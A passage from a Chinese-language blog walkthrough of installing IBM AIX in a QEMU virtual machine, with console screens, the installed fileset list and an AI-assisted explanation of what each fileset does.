choice and press Enter. Choice is indicated by \u0026gt;\u0026gt;\u0026gt;. \u0026gt;\u0026gt;\u0026gt; 1 Start Install Now with Default Settings 2 Change/Show Installation Settings and Install 3 Start Maintenance Mode for System Recovery 4 Make Additional Disks Available 5 Select Storage Adapters 88 Help ? 99 Previous Menu \u0026gt;\u0026gt;\u0026gt; Choice [1]: 安裝前會檢視配置，這邊確認完沒有問題可以直接輸入 Enter 執行安裝\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Overwrite Installation Summary Disks: hdisk0 Cultural Convention: en_US Language: en_US Keyboard: en_US Graphics Software: Yes System Management Client Software: Yes OpenSSH Client Software: Yes OpenSSH Server Software: Yes Enable System Backups to install any system: Yes Selected Edition: standard Optional Software being installed: \u0026gt;\u0026gt;\u0026gt; 1 Continue with Install +----------------------------------------------------- 88 Help ? | WARNING: Base Operating System Installation will 99 Previous Menu | destroy or impair recovery of ALL data on the | destination disk hdisk0. \u0026gt;\u0026gt;\u0026gt; Choice [1]: 接下來就是漫漫長的安裝時間，執行時間約 2 小時\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Installing Base Operating System Please wait... Approximate Elapsed time % tasks complete (in minutes) 0 0 0c46 0c50 0c46 3 0 Making logical volumes. 等待所有安裝的軟體都安裝完畢之後，會要確認 boot 安裝位置，按下 1 之後系統會自動重起\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Installing Base Operating System Please wait... Approximate Elapsed time % tasks complete (in minutes) Set_Bootlist: Could not set the bootlist to: hdisk0 . The boot device must be 第一次登入系統 # 接下來就是系統啟動畫面了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 Licensed Materials - Property of IBM 5765CD200 Copyright International Business Machines Corp. 1985, 2020. Copyright AT\u0026amp;T 1984, 1985, 1986, 1987, 1988, 1989. Copyright Regents of the University of California 1980, 1982, 1983, 1985, 1986, 1987, 1988, 1989. Copyright BULL 1993, 2020. Copyright Digi International Inc. 1988-1993. Copyright Interactive Systems Corporation 1985, 1991. Copyright ISQUARE, Inc. 1990. Copyright Innovative Security Systems, Inc. 2001-2006. Copyright Mentat Inc. 1990, 1991. Copyright Open Software Foundation, Inc. 1989, 1994. Copyright Sun Microsystems, Inc. 1984, 1985, 1986, 1987, 1988, 1991. All rights reserved. US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp. Rebooting . . . SLOF ********************************************************************** QEMU Starting Build Date = May 3 2025 09:06:15 FW Version = release 20220719 Press \u0026#34;s\u0026#34; to enter Open Firmware. Populating /vdevice methods Populating /vdevice/l-lan@1000 Populating /vdevice/v-scsi@2000 SCSI: Looking for devices 8000000000000000 CD-ROM : \u0026#34;QEMU QEMU CD-ROM 2.5+\u0026#34; 8001000000000000 DISK : \u0026#34;QEMU QEMU HARDDISK 2.5+\u0026#34; Populating /vdevice/vty@30000000 Populating /vdevice/nvram@71000000 Populating /pci@800000020000000 00 1800 (D) : 1b36 000d serial bus [ usb-xhci ] 00 2800 (D) : 1af4 1003 virtio [ serial ] 00 3800 (D) : 1af4 1002 legacy-device* Scanning USB XHCI: Initializing USB mouse USB Keyboard Using default console: /vdevice/vty@30000000 Welcome to Open Firmware Copyright (c) 2004, 2017 IBM Corporation All rights reserved. This program and the accompanying materials are made available under the terms of the BSD License available at http://www.opensource.org/licenses/bsd-license.php Trying to load: from: /vdevice/v-scsi@2000/disk@8001000000000000 ... Successfully loaded ---\u0026gt; qemu,pseries detected \u0026lt;--- ---\u0026gt; Press \u0026#39;6\u0026#39; to enter Single User Mode \u0026lt;--- get-property for ibm,hypertas-functions on zero phandle ------------------------------------------------------------------------------- Welcome to AIX. boot image timestamp: 02:03:27 06/01/2025 processor count: 4; memory size: 16384MB; kernel size: 45422126 boot device: /vdevice/v-scsi@2000/disk@8001000000000000 AIX processing splpar characteristic: MaxEntCap processing splpar characteristic: DesMem processing splpar characteristic: DesProcs processing splpar characteristic: MaxPlatProcs AKVM: hcall-multi-tce detected but overridden, allow with \u0026#34;multce\u0026#34; boot argument ------------------------------------------------------------------------------- Star 開機時會敲求輸入終端機類型，這邊我選擇 vt340\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Set Terminal Type The terminal is not properly initialized. Please enter a terminal type and press Enter. Some terminal types are not supported in non-English languages. ibm3101 tvi912 vt330 aixterm ibm3151 tvi920 vt340 dtterm ibm3161 tvi925 wyse30 xterm ibm3162 tvi950 wyse50 lft ibm3163 vs100 wyse60 sun ibm3164 vt100 wyse100 ibmpc vt320 wyse350 +-----------------------Messages------------------------ | If the next screen is unreadable, press Break (Ctrl-c) 88 Help ? | to return to this screen. | \u0026gt;\u0026gt;\u0026gt; Choice []: 接下來會要求 同意License ，這邊按下 Tab 可以變更同意選項，變更到 Yes 即可\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Software License Agreements Move cursor to desired item and press Enter. Show Installed License Agreements Accept License Agreements F1=Help F2=Refresh F3=Cancel F8=Image F9=Shell F10=Exit Enter=Do 按下 F10 離開\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Accept License Agreements Type or select values in entry fields. Press Enter AFTER making all desired changes. [Entry Fields] ACCEPT Installed License Agreements No + F1=Help F2=Refresh F3=Cancel F4=List Esc+5=Reset F6=Command F7=Edit F8=Image F9=Shell F10=Exit Enter=Do 是你的狀況設定畫面中的選項，做後記得選擇 [ TaskCompleted - Exti to login ] 不然下次重開機 AIX 會視為沒有安裝完畢，而無法透過 ssh 遠端登入(因為這時網卡仍未啟動)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 Installation Assistant Move cursor to desired item and press Enter. Set Date and Time Set root Password Configure Network Communications Install Software Applications System Workload Partition Software Maintenance Using SMIT (information only) Tasks Completed - Exit to Login F1=Help F2=Refresh F3=Cancel F8=Image F9=Shell F10=Exit Enter=Do 安裝軟體清單 # 以下是清單\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 xlsmp.rte xlsmp.aix61.rte xlC.sup.aix50.rte xlC.aix61 wio.vscsi wio.fcp tk.man.en_US tcl.man.en_US tcl.base sysmgtlib.libraries sysmgtlib.framework sysmgt.cfgassist printers.rte printers.msg.en_US openssl.man.en_US openssl.license openssl.base openssh.base libc++.rte invscout.rte invscout.msg.en_US invscout.ldb invscout.com infocenter.man.EN_US.libs infocenter.man.EN_US.files infocenter.man.EN_US.commands expect.man.en_US devices.virtio devices.vdevice.vty-server devices.vdevice.hvterm1 devices.vdevice.hvterm-protocol devices.vdevice.IBM.vnic devices.vdevice.IBM.v-scsi devices.vdevice.IBM.l-lan devices.usbif.usblibke devices.usbif.080400 devices.usbif.08025002 devices.usbif.030102 devices.usbif.030101 devices.usbif.03000008 devices.usbif.010100 devices.tty devices.serial.tablet1 devices.serial.sb1 devices.scsi.tm devices.scsi.tape devices.scsi.ses devices.scsi.disk devices.sata devices.sas devices.pciex.pciexclass.010802 devices.pciex.e4148e1614109204 devices.pciex.e4148a1614109404 devices.pciex.e4148a1614109304 devices.pciex.e414571614102004 devices.pciex.e4145616e4140528 devices.pciex.e4145616e4140518 devices.pciex.e4143a16e4143009 devices.pciex.e4143a16e4140909 devices.pciex.e4143a161410ed03 devices.pciex.e4143a161410a003 devices.pciex.df1060e214105f04 devices.pciex.df1060e214105204 devices.pciex.df1060e214104104 devices.pciex.df1060e214103e04 devices.pciex.df1060e214103a04 devices.pciex.df1060e214103704 devices.pciex.df1060e214103404 devices.pciex.df1060e214101004 devices.pciex.df1028e21410e404 devices.pciex.df1028e21410e304 devices.pciex.df1020e21410e404 devices.pciex.df1020e21410e304 devices.pciex.df1000fe devices.pciex.df1000f1df1024f1 devices.pciex.df1000f114108a03 devices.pciex.df1000f114100104 devices.pciex.df1000e314101506 devices.pciex.df1000e314101406 devices.pciex.df1000e2df1082e2 devices.pciex.df1000e2df1002e2 devices.pciex.df1000e21410f103 devices.pciex.df1000e214105e04 devices.pciex.b3154a63 devices.pciex.b3153c67 devices.pciex.a2191007df1033e7 devices.pciex.a21910071410d203 devices.pciex.a21910071410d103 devices.pciex.a21910071410d003 devices.pciex.a219100714100a04 devices.pciex.a219100714100904 devices.pciex.8680c71014108003 devices.pciex.7710612214105006 devices.pciex.7710322577107601 devices.pciex.7710322577107501 devices.pciex.7710322577106801 devices.pciex.7710322577106601 devices.pciex.7710322577106501 devices.pciex.7710322514101e04 devices.pciex.77103225141004f3 devices.pciex.77103224 devices.pciex.7710018077107f01 devices.pciex.771001801410af03 devices.pciex.7710008077108001 devices.pciex.771000801410b003 devices.pciex.4f11f60014102204 devices.pciex.4c1041821410b204 devices.pciex.4c10418214109e04 devices.pciex.2514310025140100 devices.pciex.251430001410a303 devices.pciex.2514300014108c03 devices.pciex.151438c1 devices.pciex.14107a0314107b03 devices.pciex.14106803 devices.pciex.1410660414100000 devices.pciex.14104b0414104b04 devices.pciex.14104a03 devices.pciex.14104003 devices.pciex.14103f03 devices.pciex.14103d03 devices.pciex.14103903 devices.pciex.001072001410f603 devices.pciex.001072001410ea03 devices.pci.pci devices.pci.f41a0800 devices.pci.f41a0100 devices.pci.e414a816 devices.pci.df1080f9 devices.pci.df1023fd devices.pci.df1000fd devices.pci.df1000fa devices.pci.df1000f9 devices.pci.df1000f7 devices.pci.c1110358 devices.pci.a8135201 devices.pci.99172704 devices.pci.99172604 devices.pci.77102e01 devices.pci.77102224 devices.pci.77101223 devices.pci.4f11c800 devices.pci.4f111b00 devices.pci.4f111100 devices.pci.331121b9 devices.pci.3310e000 devices.pci.33103500 devices.pci.2b102725 devices.pci.22106474 devices.pci.1410ec02 devices.pci.1410eb02 devices.pci.1410e601 devices.pci.1410e202 devices.pci.1410d502 devices.pci.1410d403 devices.pci.1410d402 devices.pci.1410d302 devices.pci.1410d002 devices.pci.1410cf02 devices.pci.1410c302 devices.pci.1410c002 devices.pci.1410bf02 devices.pci.1410be02 devices.pci.1410bd02 devices.pci.1410a803 devices.pci.14108d02 devices.pci.14108c00 devices.pci.14108902 devices.pci.14107802 devices.pci.14106902 devices.pci.14106802 devices.pci.14106602 devices.pci.14106402 devices.pci.14103302 devices.pci.14102e00 devices.pci.14102203 devices.pci.14101103 devices.pci.14100d03 devices.pci.14100c03 devices.pci.02105e51 devices.pci.00105000 devices.pci.00102100 devices.pci.00100f00 devices.pci.00100c00 devices.pci.00100b00 devices.msg.en_US devices.loopback devices.iscsi_sw devices.iscsi.tape devices.iscsi.disk devices.ide.cdrom devices.graphics devices.fcp.tape devices.fcp.disk devices.ethernet.mlx devices.ethernet.ct3 devices.common.rspcbase devices.common.IBM.xhci devices.common.IBM.usb devices.common.IBM.storfwork devices.common.IBM.soe devices.common.IBM.sissas devices.common.IBM.scsi devices.common.IBM.mpt2 devices.common.IBM.mpio devices.common.IBM.modemcfg devices.common.IBM.ktm_std devices.common.IBM.iscsi devices.common.IBM.ide devices.common.IBM.ib devices.common.IBM.hdlc devices.common.IBM.fda devices.common.IBM.fc devices.common.IBM.ethernet devices.common.IBM.disk devices.common.IBM.cx devices.common.IBM.crypt devices.common.IBM.cflash devices.chrp_lpar.base devices.chrp.vdevice 軟體清單整理 # 圖表: AIX 軟體套件互動式瀏覽器 以下是我用 AI 整理，軟體清單中的軟體內容，有錯再請多多包涵。我只是好奇到底被裝了哪些軟體。\n在開始之前，有幾點需要說明：\n檔案集 (Fileset) 的概念： AIX 的軟體是以「檔案集」的形式組織的。一個軟體產品可能由多個檔案集組成，例如一個基礎包 (.base)、一個執行時期包 (.rte)、訊息包 (.msg.*)、手冊頁包 (.man.*) 等。 裝置驅動程式的命名： 大量的 devices.* 檔案集是硬體裝置驅動程式。其中許多名稱包含十六進位的 ID (例如 devices.pciex.e4148e1614109204)。這些 ID 通常代表： Vendor ID (廠商ID): 例如 1410 (在PCI/PCIe中通常指 IBM) 或其他硬體製造商。 Device ID (裝置ID): 特定硬體型號的 ID。 Subsystem Vendor ID \u0026amp; Subsystem Device ID: 更細緻的硬體版本或配置 ID。 要確切知道這些驅動程式對應哪個硬體，通常需要查詢這些 ID 的資料庫，或者在 AIX 系統上使用 lsdev -vpd -l \u0026lt;device_name\u0026gt; 配合 lslpp -f \u0026lt;fileset_name\u0026gt; 來追蹤。由於這份清單本身不包含硬體上下文，我會解釋其一般用途。 版本與相容性： 檔案集名稱中的 aix50, aix61 等字樣通常表示該檔案集設計或測試用於特定的 AIX 版本。 超詳細檔案集說明：\n1. IBM XL 編譯器與 SMP 執行時期 (IBM XL Compilers \u0026amp; SMP Runtime)\nxlsmp.rte:\n說明： IBM XL SMP (Symmetric Multiprocessing) Runtime Environment。這是 IBM 高效能編譯器套件的一部分，提供對稱式多處理 (SMP) 的執行時期支援。它包含了讓使用 XL 編譯器（如 XL Fortran, XL C/C++) 編譯的平行程式能夠在多核心/多處理器系統上有效執行的必要程式庫和元件。這些程式庫支援 OpenMP 標準以及其他平行化技術。 用途： 執行使用 XL 編譯器並進行 SMP 平行化編譯的應用程式。 xlsmp.aix61.rte:\n說明： 同 xlsmp.rte，但此版本明確標示為 AIX 6.1 設計或最佳化。這可能意味著它利用了 AIX 6.1 特有的核心功能或 API 來增強 SMP 效能或相容性。 用途： 在 AIX 6.1 系統上執行 SMP 平行化應用程式。 xlC.sup.aix50.rte:\n說明： IBM XL C/C++ Compiler Support for AIX 5.0 Runtime Environment. 這是 XL C/C++ 編譯器的支援檔案，特別指明與 AIX 5.0 (或更早版本) 的相容性或針對其設計的執行時期元件。可能包含舊版程式庫或特定於 AIX 5.0 環境的配置。 用途： 支援在（可能較舊的）系統上執行用特定版本 XL C/C++ 編譯的程式，或提供對 AIX 5.0 環境的特定支援。 xlC.aix61:\n說明： IBM XL C/C++ for AIX 6.1. 這通常是 XL C/C++ 編譯器本身或其核心元件的一部分，針對 AIX 6.1 版本。它可能包含編譯器工具、標頭檔、程式庫或其他開發所需資源。與 .rte (執行時期) 不同，這可能更偏向開發或編譯時期。 用途： 在 AIX 6.1 系統上開發和編譯 C++ 應用程式。 2. C++ 標準程式庫 (C++ Standard Library)\nlibc++.rte: 說明： C++ Standard Library Runtime Environment. 這是 C++ 語言標準程式庫的執行時期實作。它提供了 C++ 程式常用的核心功能，如字串處理、容器 (vector, map 等)、演算法、I/O 流等。AIX 上的 libc++.rte 通常是 IBM 維護的版本，與 XL C++ 編譯器緊密配合。 用途： 執行 C++ 應用程式所必需的基礎程式庫。 3. 腳本語言與自動化工具 (Scripting Languages \u0026amp; Automation Tools)\ntcl.base:\n說明： TCL (Tool Command Language) Base. TCL 是一種動態的、解釋型的腳本語言，以其簡單性和擴充性著稱。.base 檔案集提供了 TCL 解譯器和核心程式庫。 用途： 執行 TCL 腳本，常用於系統管理、自動化測試、快速原型開發。 tcl.man.en_US:\n說明： TCL man pages (English). 提供 TCL 命令和功能的英文版線上說明手冊 (man pages)。 用途： 開發者和管理者查閱 TCL 命令用法。 tk.man.en_US:\n說明： Tk man pages (English). Tk 是 TCL 的一個圖形化工具套件擴充，用於建立圖形使用者介面 (GUI)。此檔案集提供 Tk 元件和命令的英文版 man pages。 用途： 開發者查閱 Tk GUI 元件和命令用法。 expect.man.en_US:\n說明： Expect man pages (English). Expect 是一個 TCL 的擴充，用於自動化互動式應用程式，例如模擬使用者輸入、回應提示等，特別常用於自動化 telnet、ssh、ftp 等交談式程式。此檔案集提供 Expect 命令的英文版 man pages。 用途： 開發者查閱 Expect 命令用法，進行互動式程式的自動化。 4. 系統管理與配置 (System Management \u0026amp; Configuration)\nsysmgtlib.libraries:\n說明： System Management Libraries. 包含供 AIX 系統管理工具 (如 SMIT - System Management Interface Tool) 和其他管理應用程式使用的共享程式庫。這些程式庫封裝了查詢和修改系統配置的底層操作。 用途： 支援 AIX 系統管理工具的運作。 sysmgtlib.framework:\n說明： System Management Library Framework. 可能是 sysmgtlib.libraries 的一部分，提供更基礎的框架或架構，讓不同的系統管理模組能夠協同工作。 用途： 為系統管理功能提供基礎架構。 sysmgt.cfgassist:\n說明： System Management Configuration Assistant. 這是一個配置輔助工具，可能提供 SMIT 介面中的某些特定配置任務的引導或簡化流程，或者作為獨立的配置工具。 用途： 輔助管理員進行系統配置。 5. 印表機支援 (Printer Support)\nprinters.rte:\n說明： Printers Runtime Environment. 包含 AIX 系統上支援各種印表機所需的核心執行時期檔案。這包括印表機佇列管理、後端程式 (piobe)、印表機驅動程式介面等。 用途： 實現列印功能，管理印表機和列印工作。 printers.msg.en_US:\n說明： Printers Messages (English). 提供印表機子系統相關的英文版訊息檔案，用於 SMIT 介面、命令列工具的輸出和錯誤提示。 用途： 向使用者顯示印表機相關的英文狀態和錯誤訊息。 6. 安全性套件 (Security Packages)\nopenssl.base:\n說明： OpenSSL Base. OpenSSL 是一個強大的開源加密工具套件，廣泛用於實作 SSL (Secure Sockets Layer) 和 TLS (Transport Layer Security) 協定。此基礎包包含核心加密程式庫、命令列工具 (openssl 命令) 等。 用途： 提供系統和應用程式所需的加密、解密、憑證管理、安全通訊等功能。 openssl.license:\n說明： OpenSSL License. 包含 OpenSSL 軟體的授權條款文件。 用途： 法律合規，使用者了解軟體使用權限。 openssl.man.en_US:\n說明： OpenSSL man pages (English). 提供 openssl 命令及其各種子命令、API 的英文版線上說明手冊。 用途： 開發者和管理者查閱 OpenSSL 命令和函式用法。 openssh.base:\n說明： OpenSSH Base. OpenSSH 是一個開源的 SSH (Secure Shell) 協定實作，用於提供安全的遠端登入、檔案傳輸 (scp, sftp) 和其他安全網路服務。此基礎包包含 SSH 用戶端和伺服器端 (sshd) 程式。 用途： 實現安全的遠端系統管理和資料傳輸。 7. 系統資訊與盤點工具 (System Information \u0026amp; Inventory Tool)\ninvscout.rte:\n說明： Inventory Scout Runtime Environment. IBM Inventory Scout 是一個用於收集 AIX 系統詳細硬體、韌體和軟體資訊的工具。它會產生一份報告，可用於系統分析、問題排除、微碼/韌體升級規劃等。.rte 包含執行此工具所需的核心檔案。 用途： 收集系統詳細配置資訊。 invscout.msg.en_US:\n說明： Inventory Scout Messages (English). 提供 Inventory Scout 工具的英文版訊息檔案。 用途： 向使用者顯示 Inventory Scout 操作過程中的英文狀態和錯誤訊息。 invscout.ldb:\n說明： Inventory Scout Local Database. Inventory Scout 可能使用一個本地資料庫來儲存收集到的資訊或其分析所需的參考資料。ldb 通常指本地資料庫檔案。 用途： 儲存 Inventory Scout 的資料或參考資訊。 invscout.com:\n說明： Inventory Scout Common Components. 包含 Inventory Scout 可能與其他 IBM 工具共享的通用元件或程式庫。 用途： 提供 Inventory Scout 所需的共用功能。 8. AIX 資訊中心 (AIX Infocenter - Documentation)\ninfocenter.man.EN_US.libs:\n說明： Infocenter man pages (English) Libraries. AIX 資訊中心是 AIX 的官方線上文件系統，通常以 HTML 格式提供。此檔案集可能包含與資訊中心系統或其 man page 呈現相關的程式庫或資源。 用途： 支援 AIX 資訊中心的運作，特別是 man page 的存取。 infocenter.man.EN_US.files:\n說明： Infocenter man pages (English) Files. 包含 AIX 資訊中心中提供的英文版 man page 原始檔案或其索引。 用途： 提供 AIX 系統命令和功能的英文說明文件內容。 infocenter.man.EN_US.commands:\n說明： Infocenter man pages (English) for Commands. 特指 AIX 資訊中心中關於系統命令的英文版 man page。 用途： 提供 AIX 系統命令的詳細英文說明。 9. 裝置驅動程式與支援 (Device Drivers \u0026amp; Support)\n這是清單中最大的一部分，涉及各種硬體介面和裝置。\n一般裝置訊息 (General Device Messages)\ndevices.msg.en_US: 說明： Devices Messages (English). 通用的裝置驅動程式相關的英文訊息檔案。當裝置驅動程式需要向使用者或日誌報告狀態或錯誤時，會使用這些訊息。 用途： 提供裝置相關操作的英文回饋。 迴環裝置 (Loopback Device)\ndevices.loopback: 說明： Loopback Device Support. 迴環介面 (通常是 lo0) 是一個虛擬網路介面，允許系統上的應用程式通過 TCP/IP 與本機上的其他應用程式通訊，而無需經過實體網路。 用途： 本機網路通訊測試與內部服務存取。 TTY 裝置 (Teletype Devices)\ndevices.tty: 說明： Teletype Device Support. 提供對 TTY 裝置的支援，這是傳統上用於文字終端機和序列埠通訊的介面。在現代系統中，也用於虛擬終端機 (pty) 和控制台。 用途： 字元型終端機介面和序列通訊。 圖形裝置 (Graphics Devices)\ndevices.graphics: 說明： Graphics Device Support. 提供對圖形顯示卡的基礎支援。這可能是一個通用的圖形驅動程式框架，具體的顯示卡型號會有更專用的驅動程式。 用途： 支援圖形化使用者介面 (GUI) 的顯示。 CHRP LPAR 與虛擬裝置 (CHRP LPAR \u0026amp; Virtual Devices - PowerVM Virtualization)\ndevices.chrp_lpar.base: 說明： Common Hardware Reference Platform (CHRP) Logical Partition (LPAR) Base. CHRP 是 PowerPC 架構系統的一個標準。此檔案集提供在 CHRP 相容硬體上運行 LPAR (邏輯分區，即 IBM PowerVM 虛擬化技術的虛擬機器) 所需的基礎支援。 用途： PowerVM 虛擬化環境的底層基礎。 devices.chrp.vdevice: 說明： CHRP Virtual Device Support. 為 CHRP 平台上的 LPAR 提供虛擬裝置支援。這允許 LPAR 使用虛擬化的硬體資源。 用途： 支援 LPAR 中的虛擬硬體。 devices.vdevice.vty-server: 說明： Virtual Teletype (VTY) Server. 在 PowerVM 環境中，VIO Server (虛擬 I/O 伺服器) 或 HMC (硬體管理主控台) 可能會提供虛擬終端機服務給 LPAR。此檔案集與該伺服器端功能相關。 用途： 為 LPAR 提供虛擬終端機連線。 devices.vdevice.hvterm1 and devices.vdevice.hvterm-protocol: 說明： Hypervisor Terminal Support. 這些檔案集提供透過 Hypervisor 與 LPAR 進行終端機通訊的支援和協定。hvterm 通常指直接與 Hypervisor 層級的虛擬終端機互動。 用途： 低階 LPAR 控制台存取。 devices.vdevice.IBM.vnic: 說明： IBM Virtual Network Interface Card (VNIC) Driver. 在 PowerVM 環境中，VNIC 是一種高效能的虛擬乙太網路卡，直接與 SR-IOV (Single Root I/O Virtualization) 實體網路卡配合使用，為 LPAR 提供接近實體網卡的效能。 用途： 為 LPAR 提供高效能虛擬網路介面。 devices.vdevice.IBM.v-scsi: 說明： IBM Virtual SCSI (vSCSI) Driver. 允許 LPAR 透過 VIO Server 存取虛擬化的 SCSI 裝置 (如虛擬磁碟、虛擬光碟)。這是 PowerVM 中最主要的儲存虛擬化方式。 用途： 為 LPAR 提供虛擬 SCSI 儲存。 devices.vdevice.IBM.l-lan: 說明： IBM Virtual Local Area Network (Logical LAN) Driver. 這指的是透過 POWER Hypervisor 的虛擬乙太網路交換器 (Virtual Ethernet Switch) 實現的 LPAR 間網路通訊，或 LPAR 透過 SEA (Shared Ethernet Adapter) 連接到外部網路。 用途： 為 LPAR 提供虛擬乙太網路通訊。 VirtIO 虛擬裝置 (VirtIO Virtual Devices - KVM/QEMU \u0026amp; other Hypervisors)\ndevices.virtio: 說明： VirtIO Device Support. VirtIO 是一個針對 Linux KVM 等虛擬化環境設計的半虛擬化 (paravirtualized) I/O 標準。如果 AIX 作為客體機運行在支援 VirtIO 的 Hypervisor (如 KVM 或 QEMU) 上，此檔案集提供 VirtIO 裝置 (如 VirtIO-net, VirtIO-blk, VirtIO-scsi) 的驅動程式。 用途： 提升 AIX 在 KVM 等虛擬化平台上的 I/O 效能。 工作負載 I/O - 虛擬儲存 (Workload I/O - Virtual Storage for VIO Server)\nwio.vscsi: 說明： Workload I/O for Virtual SCSI. 通常安裝在 VIO Server 上，用於管理和提供 vSCSI 服務給客戶端 LPAR。它處理從客戶端 LPAR 過來的 vSCSI 命令，並將其對應到底層的實體儲存或邏輯磁碟區。 用途： VIO Server 上的核心元件，用於實現 vSCSI 儲存虛擬化。 wio.fcp: 說明： Workload I/O for Fibre Channel. 同樣通常在 VIO Server 上，用於 NPIV (N-Port ID Virtualization) 功能。它允許 VIO Server 將實體光纖通道卡的 WWPN 虛擬化成多個虛擬 WWPN，分配給客戶端 LPAR，使 LPAR 能直接存取 SAN 上的 LUN。 用途： VIO Server 上的核心元件，用於實現 NPIV 光纖通道虛擬化。 USB 裝置 (Universal Serial Bus Devices)\ndevices.usbif.usblibke: 說明： USB Interface Library Kernel Extension. 這是 AIX USB 堆疊的核心部分，一個核心擴充，提供了 USB 主控制器驅動程式和客戶端驅動程式之間的介面和基礎程式庫。 用途： USB 系統的基礎支援。 devices.usbif.080400, devices.usbif.08025002, devices.usbif.030102, devices.usbif.030101, devices.usbif.03000008, devices.usbif.010100: 說明： 這些檔案集是針對特定 USB 裝置類別 (Class Code) 或特定複合裝置的驅動程式或支援檔案。USB Class Codes 定義了標準的裝置類型： 01xxxx: Audio devices (音訊裝置) - 例如 010100 可能對應 Control Interface for an Audio Device。 03xxxx: Human Interface Devices (HID) (人機介面裝置) - 例如 030101 (鍵盤), 030102 (滑鼠)。03000008 可能是某種特定 HID。 08xxxx: Mass Storage Devices (大容量儲存裝置) - 例如 080400 (可能指 UFI command set for removable media), 08025002 (可能指特定類型的 Flash Drive 或 SCSI transparent command set over USB)。 用途： 支援各種 USB 周邊裝置，如鍵盤、滑鼠、USB 隨身碟、USB 音效卡等。 序列埠與平板輸入裝置 (Serial Port \u0026amp; Tablet Input Devices)\ndevices.serial.tablet1: 說明： Serial Tablet Device Driver. 用於支援透過序列埠連接的繪圖板或手寫板。 用途： 支援特定型號的序列埠繪圖板。 devices.serial.sb1: 說明： Serial Device sb1. 這可能是某個特定序列埠連接裝置的驅動程式，\u0026ldquo;sb1\u0026rdquo; 可能代表一個特定的型號或功能類別。若無更多資訊，難以確切判斷。 用途： 支援某種特定的序列埠裝置。 儲存裝置 (Storage Devices - SCSI, SAS, SATA, iSCSI, Fibre Channel)\ndevices.scsi.tm: 說明： SCSI Target Mode Driver. 允許 AIX 系統作為一個 SCSI 目標裝置 (Target) 而不是啟動器 (Initiator)。這在某些特殊應用中，如磁帶庫共享或儲存模擬時使用。 用途： 使 AIX 系統能模擬 SCSI 儲存裝置。 devices.scsi.tape: 說明： SCSI Tape Device Driver. 提供對 SCSI 介面磁帶機和磁帶庫的驅動程式支援。 用途： 讀寫 SCSI 磁帶，進行備份與歸檔。 devices.scsi.ses: 說明： SCSI Enclosure Services (SES) Driver. SES 是一種協定，用於管理和監控儲存陣列的機箱，如風扇、電源、溫度等。此驅動程式支援 SES 裝置。 用途： 監控和管理儲存機箱的狀態。 devices.scsi.disk: 說明： SCSI Disk Device Driver. 提供對 SCSI 介面硬碟的驅動程式支援。 用途： 存取 SCSI 硬碟。 devices.sata: 說明： SATA (Serial ATA) Device Driver. 提供對 SATA 硬碟和光碟機的驅動程式支援。 用途： 存取 SATA 儲存裝置。 devices.sas: 說明： SAS (Serial Attached SCSI) Device Driver. 提供對 SAS 硬碟、SAS HBA (Host Bus Adapter) 和 SAS 擴充器的驅動程式支援。 用途： 存取 SAS 儲存裝置，通常用於企業級儲存。 devices.iscsi_sw: 說明： iSCSI Software Initiator Support. iSCSI 是一種允許 SCSI 命令在 TCP/IP 網路上傳輸的協定。此檔案集提供 AIX 作為 iSCSI 啟動器 (Initiator) 的軟體實作，使其能透過標準乙太網路存取遠端的 iSCSI 目標儲存。 用途： 透過網路存取 iSCSI 儲存。 devices.iscsi.tape: 說明： iSCSI Tape Device Support. 允許 AIX 透過 iSCSI 協定存取遠端的 iSCSI 磁帶裝置。 用途： 網路化磁帶備份。 devices.iscsi.disk: 說明： iSCSI Disk Device Support. 允許 AIX 透過 iSCSI 協定存取遠端的 iSCSI 磁碟裝置 (LUNs)。 用途： 網路化磁碟儲存。 devices.ide.cdrom: 說明： IDE CD-ROM Device Driver. 提供對 IDE (Integrated Drive Electronics) 或 ATA 介面 CD-ROM/DVD-ROM 光碟機的驅動程式支援 (較舊的介面)。 用途： 讀取 IDE 光碟機。 devices.fcp.tape: 說明： Fibre Channel Protocol (FCP) Tape Device Driver. 提供透過光纖通道介面存取磁帶機的驅動程式。 用途： 在 SAN 環境中進行高速磁帶備份與歸檔。 devices.fcp.disk: 說明： Fibre Channel Protocol (FCP) Disk Device Driver. 提供透過光纖通道介面存取 SAN (Storage Area Network) 上的磁碟陣列 LUN 的驅動程式。這是企業級儲存的主要連接方式。 用途： 連接和存取 SAN 儲存。 乙太網路裝置 (Ethernet Devices)\ndevices.ethernet.mlx: 說明： Mellanox Ethernet Adapter Driver. Mellanox (現為 NVIDIA 的一部分) 生產高效能乙太網路卡 (通常支援 RoCE - RDMA over Converged Ethernet) 和 InfiniBand 卡。此檔案集提供對 Mellanox 乙太網路卡的驅動程式支援。 用途： 支援 Mellanox 網路卡，提供高速網路連接。 